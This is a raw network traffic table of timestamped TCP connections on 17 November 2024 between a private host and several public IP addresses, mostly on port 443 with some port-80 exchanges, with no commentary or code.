Nov 17, 2024 12:35:23.862171888 CET	49740	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:23.862178087 CET	443	49740	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:23.934951067 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.938729048 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.945230961 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.945250988 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.945437908 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.945446968 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.945868969 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.945873976 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.946499109 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.946505070 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.948224068 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.949748993 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.949762106 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.950845003 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.994076967 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.999250889 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.004822969 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.004831076 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.006829023 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.006839991 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.007759094 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.007771015 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.022345066 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.022433996 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.023587942 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.023642063 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.070506096 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.070508957 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.070583105 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.070672035 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.070703030 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.070768118 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.094715118 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.094754934 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.096966982 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.096987009 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.097013950 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.097029924 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.131510973 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.131571054 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.131666899 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.139486074 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.139703989 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.139774084 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.151386976 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.151454926 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.151712894 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.291419029 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.291419029 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.291440964 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.291450977 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.293473959 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.293502092 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.293519020 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.293531895 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.295608997 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.295608997 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.295644999 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.295663118 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.308051109 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.308099985 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.308209896 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.309593916 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.309655905 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.309750080 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.832238913 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.832312107 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.832314014 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.832365990 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.946417093 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.946456909 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.946532011 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.976893902 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.976933002 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.993944883 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:24.993968964 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:24.994117022 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.005471945 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.005484104 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.009145975 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.009176016 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.009248972 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.016869068 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.016885042 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.568768024 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.569492102 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.619429111 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.619446993 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.620399952 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.620405912 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.620650053 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.620691061 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.622062922 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.622073889 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.710059881 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.712645054 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.712707996 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.713392019 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.713398933 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.744431019 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.748370886 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.748470068 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.748677015 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.759771109 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.759926081 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.759989977 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.764743090 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.796068907 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.829765081 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.829773903 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.830790997 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.830795050 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.832017899 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.832048893 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.832062960 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.832068920 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.832312107 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.832351923 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.832386017 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.832401037 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.840233088 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.840254068 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.840764046 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.840769053 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.843277931 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.843358994 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.843470097 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.846414089 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.846425056 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.846487045 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.846493959 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.957921028 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.958002090 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.958204985 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:25.970741987 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.970887899 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:25.970951080 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.094238997 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.094264984 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.094294071 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.094301939 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.095324039 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.095350981 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.095362902 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.095371008 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.651958942 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.652014017 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.652112961 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.681543112 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.681570053 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.824300051 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.824361086 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.824444056 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.858710051 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.858778000 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.858855963 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.859821081 CET	49754	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.859857082 CET	443	49754	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.859920025 CET	49754	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.865458012 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.865494967 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.866812944 CET	49755	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.866826057 CET	443	49755	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.866899967 CET	49755	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.871181965 CET	49755	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.871206999 CET	443	49755	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.965776920 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.965801954 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:26.965979099 CET	49754	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:26.966027021 CET	443	49754	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.448884010 CET	49759	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:27.448935032 CET	443	49759	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:27.449023008 CET	49759	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:27.452296972 CET	49766	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:27.452383041 CET	443	49766	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:27.452482939 CET	49766	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:27.497504950 CET	49766	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:27.497539997 CET	443	49766	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:27.498955965 CET	49759	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:27.498969078 CET	443	49759	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:27.635238886 CET	443	49755	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.657294035 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.662544012 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.672322989 CET	49755	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.672353029 CET	443	49755	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.673094988 CET	49755	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.673101902 CET	443	49755	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.690500975 CET	443	49754	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.710185051 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.715344906 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.719959974 CET	49754	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.719980955 CET	443	49754	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.720777035 CET	49754	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.720784903 CET	443	49754	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.755986929 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.755995989 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.773730040 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.773756981 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.774560928 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.774569988 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.808928013 CET	443	49755	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.809058905 CET	443	49755	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.809123039 CET	49755	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.843641043 CET	443	49754	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.843848944 CET	443	49754	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.843956947 CET	49754	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.846790075 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.846812963 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.847323895 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.847331047 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.903014898 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.903156042 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.903211117 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.935988903 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.936023951 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.936687946 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.936693907 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.966806889 CET	49755	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.966833115 CET	443	49755	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.966844082 CET	49755	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.966850042 CET	443	49755	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.976778030 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.976860046 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.976912022 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.977242947 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.977263927 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:27.977277040 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:27.977283955 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.068722010 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.068885088 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.068939924 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.106920004 CET	49754	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.106957912 CET	443	49754	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.106976986 CET	49754	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.106986046 CET	443	49754	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.113420010 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.113435030 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.113446951 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.113452911 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.126614094 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.126638889 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.126666069 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.126671076 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.142827034 CET	80	49730	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:28.142883062 CET	49730	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:28.294434071 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.294482946 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.294553995 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.295048952 CET	49770	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.295094967 CET	443	49770	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.295147896 CET	49770	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.296006918 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.296016932 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.296063900 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.314291000 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.314322948 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.314389944 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.321531057 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.321551085 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.321938992 CET	49770	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.321979046 CET	443	49770	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.322056055 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.322069883 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.562815905 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.562877893 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.562941074 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.563095093 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.563114882 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.568295956 CET	443	49766	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.571964979 CET	443	49759	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.602288961 CET	49766	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:28.602327108 CET	443	49766	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.602368116 CET	49759	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:28.602396965 CET	443	49759	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.606220007 CET	443	49759	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.606236935 CET	443	49766	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.606285095 CET	49759	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:28.606331110 CET	49766	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:28.688194990 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:28.688225031 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:28.698930979 CET	49766	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:28.699130058 CET	443	49766	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.699502945 CET	49759	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:28.699780941 CET	443	49759	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.700514078 CET	49766	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:28.700545073 CET	443	49766	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.732147932 CET	49730	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:28.732482910 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:28.739423037 CET	80	49730	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:28.739599943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:28.739674091 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:28.746160984 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:28.746315002 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:28.751225948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:28.751240015 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:28.751264095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:28.751276016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:28.752675056 CET	49766	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:28.816114902 CET	49759	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:28.816143990 CET	443	49759	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.936216116 CET	443	49766	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.938338041 CET	49766	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:28.938426971 CET	443	49766	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:28.938574076 CET	49766	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:29.017191887 CET	49759	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:29.053020000 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.054487944 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.054501057 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.054620028 CET	443	49770	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.055360079 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.055363894 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.060822964 CET	49770	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.060847044 CET	443	49770	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.061213017 CET	49770	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.061218977 CET	443	49770	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.064421892 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.064949036 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.064985037 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.065351963 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.065359116 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.182034969 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.182090998 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.182145119 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.186922073 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.186939001 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.186969995 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.186975956 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.187042952 CET	443	49770	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.187227011 CET	443	49770	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.187279940 CET	49770	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.194164991 CET	49770	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.194178104 CET	443	49770	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.194207907 CET	49770	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.194215059 CET	443	49770	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.196650982 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.196729898 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.196820021 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.197714090 CET	49781	443	192.168.2.5	13.107.246.45
